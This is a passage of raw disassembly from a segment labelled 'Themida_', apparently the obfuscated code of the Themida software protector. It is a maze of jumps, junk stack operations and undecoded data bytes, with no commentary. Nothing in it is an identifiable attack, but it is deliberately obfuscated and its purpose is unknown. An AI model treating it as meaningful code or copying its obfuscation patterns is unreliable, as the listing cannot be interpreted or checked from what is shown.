		add	esi, 30527FC0h
		jmp	loc_56B14B
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0E904C483h, 0FFFFB22Dh, 90685553h, 5D54CD70h, 1C92ED81h
		dd 40E911AAh
		db 0B8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56988B:				; CODE XREF: Themida_:00562291j
		sub	eax, 9D51BCBh
		add	eax, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 58DE1D3Bh
		jmp	loc_55C38C
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0ABh
		dd 8120B64Dh, 0AF02E3E3h, 0B1E3811Ch, 0F74F5246h, 9BEB81DBh
		dd 8177A97Dh, 0E1047DEBh, 5BDF895Eh, 2A1AE952h,	0C2FE0000h
		dd 8857C280h, 24148BD3h, 0FF7E85E9h, 59EB88FFh,	0FEBEB652h
		dd 44E8E9C6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5698EA:				; CODE XREF: Themida_:0055E1D3j
		mov	edi, ebp
		jmp	loc_56A2B6
; ---------------------------------------------------------------------------


loc_5698F1:				; CODE XREF: Themida_:00567EC5j
		mov	ebx, ecx
		jmp	loc_56DD35
; ---------------------------------------------------------------------------
		dd 7719BB53h, 0BA52556Bh, 23C97B1Ch, 0C8C2814Ah, 8140BB3Eh
		dd 7196D5F2h, 5AD58927h, 6CE9DD31h, 1FFFF66h, 4EC83D6h
		dd 83241489h, 0C8904ECh, 12E26824h, 0F7595388h,	5EEFE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569936:				; CODE XREF: Themida_:0055E001j
		mov	eax, 79BEEE52h
		add	ecx, 2C123F07h
		sub	ecx, eax
		jmp	loc_55CB51
; ---------------------------------------------------------------------------


loc_569948:				; CODE XREF: Themida_:005650DFj
		add	edi, 0AE65CD91h
		jmp	loc_55ECA5
; ---------------------------------------------------------------------------


loc_569953:				; CODE XREF: Themida_:0056A806j
		add	ebx, 490276ADh
		shr	ebx, 7
		shl	ebx, 8
		dec	ebx
		add	ebx, 0BAA6B6B6h
		xor	edi, ebx
		pop	ebx
		jmp	loc_56F854
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 2434FF59h, 4C48359h,	0C9E9D001h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56997F:				; CODE XREF: Themida_:005696A1j
		push	1AD51F2h
		pop	edx
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_564CB2
; ---------------------------------------------------------------------------
		db 54h
		dd 9C80E95Bh, 0ED2DFFFFh, 89A0820Ah, 28F1E9C3h,	8B660000h
		dd 0FBE92404h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5699AB:				; CODE XREF: Themida_:00560EB0j
		mov	ebp, 2366613Bh
		mov	eax, 9EA7B220h
		sub	eax, ebp
		pop	ebp
		shl	eax, 3
		shr	eax, 3
		sub	eax, 6B260142h
		jmp	loc_56EE7E
; ---------------------------------------------------------------------------


loc_5699C8:				; CODE XREF: Themida_:0055C2B5j
		shr	ecx, 2
		push	ebx
		jmp	loc_56622A
; ---------------------------------------------------------------------------
		db 1, 0DDh, 5Bh
		dd 3A5FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5699D9:				; CODE XREF: Themida_:0056BA16j
		mov	ebx, 414D7065h
		sub	esi, ebx
		pop	ebx
		jmp	loc_560956
; ---------------------------------------------------------------------------
		dw 6AE9h
		db 1Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5699EB:				; CODE XREF: Themida_:00565B42j
		mov	ebx, ebp
		jmp	loc_56D65B
; ---------------------------------------------------------------------------
aWich6		db 'W‰çh6}',0
		align 2
		dw 1489h
		dd 0ACE7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A02:				; CODE XREF: Themida_:0056E3F6j
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_569E65
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_565F66
; ---------------------------------------------------------------------------
		db 5Eh
		dd 4BB53h, 0DD010000h, 242C335Bh, 33242C31h, 73E9242Ch
		dd 8BFFFF3Ch, 0C481240Ch, 4, 4BD55h, 0C1810000h, 23E43CE4h
		dd 0E981E901h, 23E43CE4h, 81242C8Bh, 4C4h, 4EC8100h, 89000000h
		dd 4DE9241Ch, 5CFFFF57h, 81240C8Bh, 4C4h, 243C3300h, 33243C31h
		dd 0C9E9243Ch, 66FFFFD4h, 0E9240489h, 0FFFF1ACDh, 5E6E6859h
		dd 1C890000h, 0E967B724h, 0FFFFE5C2h, 8DBE5651h, 52026E28h
		dd 826F66BAh, 59F28155h, 814CA535h, 63C48C2h, 9BF9E934h
		dd 53ACFFFFh, 0D7F680B7h, 0F603EFC0h, 0C5C780D7h, 3BB45066h
		dd 0BBE9E730h, 33FFFFE2h, 895C243Ch, 0B2E92434h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569ADB:				; CODE XREF: Themida_:0056664Dj
		add	eax, 2
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7D53h
		mov	[esp], ebx
		mov	ebx, 1DCD7652h
		jmp	loc_569488
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 58h
		dd 8B50630Fh, 0C7E92414h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B17:				; CODE XREF: Themida_:0055B859j
		mov	edx, 1
		or	[edi+1Ch], edx
		jmp	loc_55D229
; ---------------------------------------------------------------------------
		dd 1904B850h, 37BD4788h, 0E9FE1463h, 0FFFF397Ah, 4EE9465Ah
		dd 5B000035h, 4C381h, 0C3810000h, 4, 0FFA1F3E9h, 0D1E94FFFh
		dd 81000044h, 0BB3926C9h, 0E0F1816Dh, 8165CD56h, 713F2F1h
		dd 59CB8952h, 0FF6C66E9h, 0B0C581FFh, 154AC08h,	288DE9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569B7A:				; CODE XREF: Themida_:00565326j
		add	esp, 4
		jmp	loc_56F149
; ---------------------------------------------------------------------------


loc_569B85:				; CODE XREF: Themida_:00566A2Fj
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_5638EA
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0D868D828h, 8900007Ch, 37B22414h,	0D768E950h, 0E1C1FFFFh
		dd 4572E906h, 268FFFFh,	0E9000000h, 0FFFF5457h,	1A4FE958h
		dd 0BE560000h, 263F0483h, 7508BB53h, 0DE0101F3h, 2DC9685Bh
		dd 0C890000h, 708AB924h, 0CE317817h, 4EEC159h, 0AF74C681h
		dd 13E9FAFDh, 2DFFFF76h, 0AE36BA0Ch, 8158C789h,	1EFh, 0F7F78700h
		dd 81F787D6h, 2A2250C7h, 0A941E940h, 8B66FFFFh,	0E950240Ch
		dd 0FFFF69F8h
; ---------------------------------------------------------------------------


loc_569C24:				; CODE XREF: Themida_:0056A3CBj
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_568D99
; ---------------------------------------------------------------------------
		dw 0F204h
aHkj		db '(Èhkj',0
		dw 8900h
		dd 0F2B62414h, 148BF028h, 4C48324h, 0FFFE3BE9h,	8E2C0FFh
		dd 5372EA80h, 0FFF99AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569C59:				; CODE XREF: Themida_:0056F71Ej
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		sub	edi, 4
		jmp	loc_563EDE
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 46E52456h, 6CA1EB81h, 0C3810541h, 45976544h,	8107E3C1h
		dd 6AB8F0EBh, 0E9D801D4h, 2672h, 66B8BA5Dh, 0EA3104C8h
		dd 0FF6DBEE9h, 5E9C1FFh, 9F96BE56h, 0F1314F0Eh,	3481515Eh
		dd 9B438D24h, 0F3815B04h, 49B438Dh, 0CCB8159h, 4349685Bh
		dd 77E9DBF7h, 28FFFFC0h, 5C48E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569CCA:				; CODE XREF: Themida_:00568126j
		push	ebp
		mov	ebp, 4D231B44h
		mov	edx, ebp
		pop	ebp
		mov	edi, 4D674CB8h
		xor	edi, edx
		pop	edx
		xor	edi, 7E56618Fh
		or	ecx, edi
		pop	edi
		jmp	loc_56443C
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E9542404h, 586h,	3124248Bh, 0E99C2404h
		dd 0FFFF1851h, 3FE9D6F7h, 83FFFFBFh, 0E95204C4h, 0E2Dh
		dd 0FFFFFFBBh, 5BDD29FFh, 0A169ED81h, 0EF81E0F2h, 2E9946EEh
		dd 0C781EF01h, 2E9946EEh, 5D2434FFh, 8704C483h,	665C243Ch
		dd 9C240CFFh, 0FF1810E9h, 8BF830FFh, 0C481241Ch, 4, 0FE43B652h
		dd 4F28E9CEh, 0F1290000h, 8124348Bh, 4C4h, 66656800h, 0C890000h
		dd 2474FF24h, 48F5904h,	24248B24h, 5234E9h, 4C28300h, 5C241487h
		dd 41D168h, 242C8900h, 0F324E956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569D92:				; CODE XREF: Themida_:0056A9F1j
		push	eax
		mov	eax, edi
		jmp	loc_56E252
; ---------------------------------------------------------------------------
		dw 0EB89h
		dd 3342E95Dh, 0C381FFFFh, 0A31A2EE4h, 1C8B5E53h, 4C48324h
		dd 815EF709h, 8A08E1EFh, 87F78142h, 0E980A96Ah,	5397h
		dd 0E904C483h, 0FFFFB819h, 1B64EF81h, 0EFC10392h, 0B8C78102h
		dd 0E947E53Ch, 1FEDh, 30E92DADh, 0EC836EE3h, 240C8904h
		dd 0D430D5B9h, 49E90510h, 0C8012B42h, 0FF6CBBE9h, 240487FFh
		dd 0FFC7F1E9h, 8BD101FFh, 0C4812414h, 4, 32DA68h, 240C8900h
		dd 42474FFh, 0FFABF6E9h, 5CC381FFh, 81665D26h, 0A309B2C3h
		dd 5BDE299Ah, 5C243487h, 83243489h, 2C8904ECh, 58DBD24h
		dd 0E9457D35h, 0FFFF7717h, 4EC81h, 0C890000h, 4A80E924h
		dd 0EF880000h, 0FA885259h, 0E95AD088h, 0FFFF1F50h
; ---------------------------------------------------------------------------


loc_569E64:				; CODE XREF: Themida_:0056D769j
		pop	ecx


loc_569E65:				; CODE XREF: Themida_:00569A07j
					; Themida_:0056D0B9j
		push	ebx
		jmp	loc_5701C0
; ---------------------------------------------------------------------------
		db 83h
		dd 545704C4h, 0DF48E95Fh, 34FFFFFFh, 0E53DE924h, 575AFFFFh
		dd 0A36374BFh, 5FF9291Eh, 242FE181h, 0BA523F33h, 0F8FFDFE2h
		dd 895AD101h, 1A1BE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569E9E:				; CODE XREF: Themida_:0056ED4Aj
		pop	ebx
		add	ebp, 4
		jmp	loc_568DCD
; ---------------------------------------------------------------------------


loc_569EA7:				; CODE XREF: Themida_:0056B0F2j
		pop	eax
		jmp	loc_567223
; ---------------------------------------------------------------------------
		db 68h,	0FBh, 1Ch
		dd 14890000h, 79B15124h, 8CE927B6h, 81FFFF77h, 0BD2BC1E9h
		dd 0E9E90160h, 0FFFF630Ah, 4EC8352h, 0E9243C89h, 0FFFFE09Ch
		dd 0E904C483h, 2444h, 0C181D901h, 1DA11D46h, 5B2434FFh
		dd 5004C483h, 9004B0B8h, 63C18154h, 10F2044h, 8964E9C1h
		dd 0BD55FFFFh, 8B412C61h, 15DEF01h, 3E95FFBh, 50FFFF58h
		dd 4DB8E952h, 0E1D10000h, 0F5E9D1F7h, 58FFFFDCh, 7849E953h
		dd 6851FFFFh, 5FB4h, 88241C89h,	24548AD3h, 245C8804h, 0D2F65B04h
		dd 0E9241430h, 0FFFF3084h, 5A2434FFh, 6307E9h, 6800h, 1C8B0000h
		dd 3D65E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F5E:				; CODE XREF: Themida_:00562C34j
		pop	esp
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_56BFA7
; ---------------------------------------------------------------------------
		dd 241C8758h, 0FF4119E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569F75:				; CODE XREF: Themida_:0056D7AAj
		pop	ecx
		push	edx
		push	eax
		mov	ah, 65h
		mov	dh, ah
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 5Ah
		jmp	loc_568714
; ---------------------------------------------------------------------------


loc_569F8A:				; CODE XREF: Themida_:0055EC21j
		pop	ebp
		push	67CEh
		jmp	loc_567138
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 0B6h
		dd 17C48D3h, 0BF5759CDh, 4, 3C8BFD01h, 4C48124h, 33000000h
		dd 2C31242Ch, 242C3324h, 8B24248Bh, 0CFE9240Ch,	0FF00000Fh
		dd 2C8B2434h, 0FE9DE924h, 0C483FFFFh, 4BE6E904h, 4BE0000h
		dd 1000000h, 24348BF5h,	0FFCBC9E9h, 0F33166FFh,	8B2434FFh
		dd 0C4832434h, 4C48104h, 66000000h, 34FFD831h, 0C4815B24h
		dd 4, 669B6866h, 243C8966h, 7A5568h, 240C8900h,	0A8AB966h
		dd 0FFDE86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A01D:				; CODE XREF: Themida_:0056D091j
		pop	esi
		jmp	loc_562FE9
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8B5AD3h, 0E0895024h, 405h,	72E95200h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A037:				; CODE XREF: Themida_:0056E4D5j
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------
		dw 0D829h
		dd 0FF866EE9h, 0FCE950FFh
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A04F:				; CODE XREF: Themida_:005665D1j
		mov	edx, 6D6E0577h
		inc	edx
		xor	edx, 6D6E057Ch
		add	ebp, edx
		pop	edx
		push	esi
		jmp	loc_56C763
; ---------------------------------------------------------------------------


loc_56A064:				; CODE XREF: Themida_:0055E4EAj
		add	esp, 4
		jmp	loc_568155
; ---------------------------------------------------------------------------
		dd 5204C483h, 268h, 53CFE900h, 37BA0000h, 15A2A42h, 5A082454h
		dd 4244429h, 1369E9h, 6DC58100h, 5A190C25h, 0FFAA7FE9h
		dd 4C483FFh, 0E952C301h, 0FFFF8289h, 55240489h,	0FF90D0E9h
		dd 0A76857FFh, 5F0F7537h, 9FEC781h, 4EE956FBh
		db 69h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A0BF:				; CODE XREF: Themida_:0056112Aj
		add	edx, ebp
		push	ecx
		jmp	loc_55F4A7
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2C8BEA01h, 4C48324h,	0FF1480E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A0D5:				; CODE XREF: Themida_:005607B5j
		sub	edx, 66F3430Dh
		add	ecx, edx
		pop	edx
		push	esi
		mov	esi, 48974682h
		or	esi, 10296987h
		sub	esi, 58BF6F83h
		sub	ecx, 56906A26h
		sub	ecx, esi
		add	ecx, 56906A26h
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	76ACh
		jmp	loc_565063
; ---------------------------------------------------------------------------


loc_56A11D:				; CODE XREF: Themida_:0056B7C0j
		pop	esi
		xchg	edi, [esp]
		pop	esp


loc_56A122:				; CODE XREF: Themida_:005702B7j
		push	0B97h
		mov	[esp], edi
		push	48C2h
		push	esp
		jmp	loc_55CBDE
; ---------------------------------------------------------------------------


loc_56A135:				; CODE XREF: Themida_:00565F82j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_5602B2
; ---------------------------------------------------------------------------


loc_56A143:				; CODE XREF: Themida_:0056BD0Bj
		sub	dword ptr [esp+8], 5B013340h
		jmp	loc_566B54
; ---------------------------------------------------------------------------


loc_56A150:				; CODE XREF: Themida_:00560352j
		xor	esi, 6EAC30F7h
		xor	esi, 129C56E6h
		jmp	loc_561746
; ---------------------------------------------------------------------------


loc_56A161:				; CODE XREF: Themida_:00565A58j
		sub	esp, 4
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_56971C
; ---------------------------------------------------------------------------
		db 56h,	0F7h, 14h
		dd 0C6835E24h, 0E9D6F7FFh, 1ECDh
; ---------------------------------------------------------------------------


loc_56A180:				; CODE XREF: Themida_:0056D51Cj
		add	esp, 4
		jmp	loc_566DC6
; ---------------------------------------------------------------------------
		dd 0FFFFED81h, 15E9FFFFh, 58FFFFC3h, 5C24048Fh,	5866E200h
		dd 567A6851h, 1C890000h, 0D4B55124h, 0E97FED80h, 0FFFFF72Dh
; ---------------------------------------------------------------------------


loc_56A1B0:				; CODE XREF: Themida_:00560E7Fj
		not	ecx
		jmp	loc_56847F
; ---------------------------------------------------------------------------


loc_56A1B7:				; CODE XREF: Themida_:00563153j
		not	dword ptr [esp]
		pop	edx
		jmp	loc_567A04
; ---------------------------------------------------------------------------


loc_56A1C0:				; CODE XREF: Themida_:0056E051j
		push	dword ptr [esp]
		jmp	loc_56125A
; ---------------------------------------------------------------------------


loc_56A1C8:				; CODE XREF: Themida_:00562A9Bj
		mov	esp, [esp]
		jmp	loc_567443
; ---------------------------------------------------------------------------
		dd 38A36852h, 815A04BDh, 7D1785F2h, 5AD7892Dh, 7BF8E781h
		dd 0AE90531h, 89FFFFE1h, 405E0h, 55530000h, 706207BDh
		dd 6203BB35h, 28E93570h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A203:				; CODE XREF: Themida_:00567897j
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_566CBD
; ---------------------------------------------------------------------------


loc_56A212:				; CODE XREF: Themida_:0056EF9Aj
		pop	esp
		jmp	loc_5678E4
; ---------------------------------------------------------------------------
		dd 3C37E381h, 0EBC15168h, 0D4C38104h, 430D0827h, 0FF275BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A22D:				; CODE XREF: Themida_:00568D88j
		sub	dword ptr [esp], 2E9B39CEh
		pop	eax
		add	eax, 2E9B39CEh
		pop	edx
		sub	eax, 7B712FAAh
		push	eax
		pop	edi
		push	dword ptr [esp]
		jmp	loc_56D1D2
; ---------------------------------------------------------------------------
		dw 0FABBh
		dd 5637B26Ch, 4D9308BEh, 0E9F301C8h, 5C30h
; ---------------------------------------------------------------------------


loc_56A25C:				; CODE XREF: Themida_:00566092j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 32909F3h
		mov	esi, edi
		jmp	loc_56EEFE
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0A1E95824h, 0BE00001Fh, 4DE76BFAh, 0D6F74E4Eh, 0FFDE5EE9h
		dd 0CEF581FFh, 294B6E8Dh, 0D8295DEBh, 6472E9h, 80DAF600h
		dd 0D0888FC2h, 41B2525Ah, 9998E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A2B6:				; CODE XREF: Themida_:005698ECj
		mov	ecx, edi
		pop	edi
		mov	ebp, [esp]
		jmp	loc_55EFC2
; ---------------------------------------------------------------------------
		db 1, 0C7h, 81h
		dd 7418AEEFh, 0C7815827h, 4, 8B243C87h,	0C7812424h, 36037920h
		dd 0FFD44CE9h, 24248BFFh, 0FF4D60E9h, 242C89FFh, 4BDh
		dd 0ABAAE900h, 8B58FFFFh, 4DE9240Ch, 0FFFFFF5Bh, 0FF042474h
		dd 0E9582434h, 0FFFF5AFFh, 4403EB81h, 2C8B6E28h, 8EC8E924h
		dd 0E789FFFFh, 1FA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A321:				; CODE XREF: Themida_:005637CEj
		add	esp, 4
		xor	[esp], edx
		jmp	loc_5675EF
; ---------------------------------------------------------------------------
		db 66h
		dd 5624048Bh, 0C681E689h, 4, 0FF6E3AE9h, 0E7C381FFh, 812CED07h
		dd 4ECh, 0A4C7E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A352:				; CODE XREF: Themida_:005672B3j
		push	edx
		mov	edx, 0AA35DCE8h
		xor	esi, edx
		pop	edx
		jmp	loc_56ABB1
; ---------------------------------------------------------------------------


loc_56A360:				; CODE XREF: Themida_:0056E82Bj
		add	esp, 4
		jmp	loc_56E601
; ---------------------------------------------------------------------------


loc_56A368:				; CODE XREF: Themida_:0056FFE3j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	ecx
		jmp	loc_55E27A
; ---------------------------------------------------------------------------


loc_56A37A:				; CODE XREF: Themida_:00565CCAj
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 5F0D19CCh
		sub	dword ptr [esp+4], 3AE1D2Ah
		pop	ecx
		jmp	loc_5665C1
; ---------------------------------------------------------------------------
aI4Siz		db '‰4$éIZ',0
		align 4
		dd 5C240C87h, 40E9F189h, 1FFFFDFh, 243C8BF9h, 5004C483h
		dd 4B8h, 19BA5200h, 29522702h, 9BE95AD1h, 59FFFF45h, 0FFB784E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A3C9:				; CODE XREF: Themida_:0056EEBBj
		add	ebx, ebp
		jmp	loc_569C24
; ---------------------------------------------------------------------------


loc_56A3D0:				; CODE XREF: Themida_:0055DDD4j
		mov	cl, bh
		push	eax
		mov	al, cl
		mov	dh, al
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5688A5
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 2464E9h, 24248B00h, 8B2434FFh,	89502414h
		dd 405E0h, 0F5680000h, 8900005Eh, 0B5E9243Ch, 81FFFF6Ah
		dd 0F12DF4F6h, 0E8F68105h, 310DD52Fh, 0EAC15EF2h, 0BB5304h
		dd 0E9000000h, 18F8h
; ---------------------------------------------------------------------------


loc_56A430:				; CODE XREF: Themida_:0055EF54j
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_570613
; ---------------------------------------------------------------------------
		dd 1A5CEB81h, 0C3291ACEh, 2C2AE9h, 4B800h, 0C2010000h
		dd 0FF403CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A455:				; CODE XREF: Themida_:0055C486j
		push	9EA0D1Fh
		pop	eax
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5610F6
; ---------------------------------------------------------------------------
		dd 2474FF53h, 241C8B04h, 8F04C483h, 0D3F72404h,	0FF1848E9h
		dd 790368FFh, 0C8B1176h, 1BE95524h, 83FFFFE9h, 0C68104C4h
		dd 4, 4B951h, 0C6810000h, 4DC1840h, 0EE81CE29h,	4DC1840h
		dd 5E95659h, 5C000030h,	1E8568h, 24048900h, 4B8h, 0FFC30100h
		dd 68582434h, 4B94h, 89240C89h,	4C181E1h, 81000000h, 4C1h
		dd 74FF5100h, 0C8B0424h, 4C48124h, 8F000000h, 0E95C2404h
		dd 0FFFF159Ah, 161B3605h, 32BF5737h, 0E901F057h, 0FFFFE79Ch
; ---------------------------------------------------------------------------


loc_56A500:				; CODE XREF: Themida_:0055EE79j
		sub	esp, 4
		jmp	loc_56BDE0
; ---------------------------------------------------------------------------
		db 81h
		dd 5BFEDEEBh, 5BDE018Ah, 79FDC281h, 0EA812014h,	2DCE39FCh
		dd 0C281F201h, 2DCE39FCh, 79FDEA81h, 835E2014h,	0E95202C2h
		dd 53B1h
; ---------------------------------------------------------------------------


loc_56A538:				; CODE XREF: Themida_:00565066j
		mov	esi, esp
		add	esi, 4
		push	eax
		jmp	loc_566AB2
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 124E2919h, 0FFBC79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A551:				; CODE XREF: Themida_:0056A875j
		pop	ebp
		pop	ebx
		jmp	loc_56FC68
; ---------------------------------------------------------------------------


loc_56A558:				; CODE XREF: Themida_:0056B796j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 33E7F14h
		shl	eax, 7
		jmp	loc_5614BC
; ---------------------------------------------------------------------------


loc_56A56E:				; CODE XREF: Themida_:00562620j
		pop	edx
		add	edx, 4
		push	edi
		mov	edi, 501518CAh
		and	edi, 307A6199h
		sub	edi, 57345523h
		not	edi
		jmp	loc_562F62
; ---------------------------------------------------------------------------


loc_56A58E:				; CODE XREF: Themida_:0056FF74j
		mov	ah, cl
		mov	bl, ah
		pop	eax
		push	edx
		mov	dl, bl
		jmp	loc_56B8A3
; ---------------------------------------------------------------------------
		db 34h
		dd 4D06E9DFh, 0B8500000h, 35296DCCh, 77E9D8F7h,	8BFFFF5Ah
		dd 4D22424h, 9AE99C24h,	89FFFF0Fh, 9BB82404h, 4875721Ah
		dd 0FFDFF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A5C9:				; CODE XREF: Themida_:00569215j
		mov	esi, eax
		pop	eax
		push	ebx
		mov	ebx, 14A5501Ah
		shr	ebx, 5
		or	ebx, 5A4E5679h
		xor	ebx, 7F8F5F15h
		sub	eax, ebx
		pop	ebx
		add	eax, esi
		add	eax, 256021ECh
		jmp	loc_56B719
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 48B2434h, 4C48124h, 57000000h, 243C8B54h
		dd 4C481h, 9D680000h, 8900002Bh, 0B8502414h, 138023CEh
		dd 0FFF47BE9h, 62C181FFh, 81011E68h, 1114BC1h
		db 3Dh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_566F24
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 3
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A643:				; CODE XREF: Themida_:00568EE5j
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bl, 0F9h
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		mov	bl, 0BEh
		shl	bl, 5
		xor	bl, 2Ch
		neg	bl
		xor	bl, 0B9h
		mov	al, bl
		jmp	loc_56D3AC
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 0A2D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A676:				; CODE XREF: Themida_:0056F876j
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_562859
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6602723h, 815DEE01h,	0E27A1BC6h, 55A96860h, 0C890000h
		dd 0DA5DE924h, 34FFFFFFh, 0C4815924h, 4, 0D8281B2Ch, 1C8B1B04h
		dd 2E58E924h, 0C33FFFFh, 0A44EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A6BE:				; CODE XREF: Themida_:00567445j
		shl	edx, 1
		push	4C98h
		mov	[esp], esi
		jmp	loc_56AA40
; ---------------------------------------------------------------------------
		db 4, 68h, 53h
		dd 0E78042B7h, 0E1895152h, 4FF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_56A6DD:				; CODE XREF: Themida_:0056FFBFj
		push	dword ptr [esp]
		pop	esi
		push	ecx
		jmp	loc_56E8F3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0C493C181h, 0CA0198D4h, 83240C8Bh, 5AE904C4h, 5EFFFF0Eh
		dd 7B65CE81h, 0EEC17E1Dh, 0ACEE8104h, 810F1F23h, 12ADFAF6h
		dd 5EF5899Ah, 5512F581h, 0CD810EDCh, 58D0040Eh,	3416F581h
		dd 612D2B57h, 2969B213h, 136105E8h, 555D69B2h, 874FD2BDh
		dd 246C295Eh, 4015D04h,	0E9505224h, 0FFFFC598h,	0EA685152h
		dd 0E934757Ch, 110Eh, 74DBC581h, 0CD8125CEh, 970571Bh
		dd 0AC56F581h, 0EA2900C3h, 2434FF5Dh, 4C48359h,	5204C283h
		dd 42474FFh, 0E924148Bh, 1D05h,	0E982C180h, 0FFFFF4AAh
		dd 50241C89h, 0FF2060E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A791:				; CODE XREF: Themida_:0055D8F5j
		add	edx, 35A75AFBh
		add	edx, 26E434ADh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 25990D8Dh
		add	edx, eax
		pop	eax
		mov	eax, edx
		pop	edx
		add	ebp, 7BB66430h
		jmp	loc_567192
; ---------------------------------------------------------------------------


loc_56A7B9:				; CODE XREF: Themida_:005627E9j
		push	424Fh
		mov	[esp], edx
		jmp	loc_55DC86
; ---------------------------------------------------------------------------
		dw 0BBh
		dd 1000000h, 2435E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56A7D2:				; CODE XREF: Themida_:00561CBCj
		push	edx
		mov	edx, 21F6662Ch
		add	edi, edx
		pop	edx
		pop	edx
		add	edi, 0B6C854B7h
		add	ebx, edi
		pop	edi
		jmp	loc_55FBF9
; ---------------------------------------------------------------------------


loc_56A7EA:				; CODE XREF: Themida_:00561749j
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_56B5D6
; ---------------------------------------------------------------------------


loc_56A7F4:				; CODE XREF: Themida_:00564898j
		sub	ebp, 0A0AA7ECDh
		mov	ebx, ebp
		pop	ebp
		shl	ebx, 7
		sub	ebx, 0C7C06C49h
		jmp	loc_569953
; ---------------------------------------------------------------------------


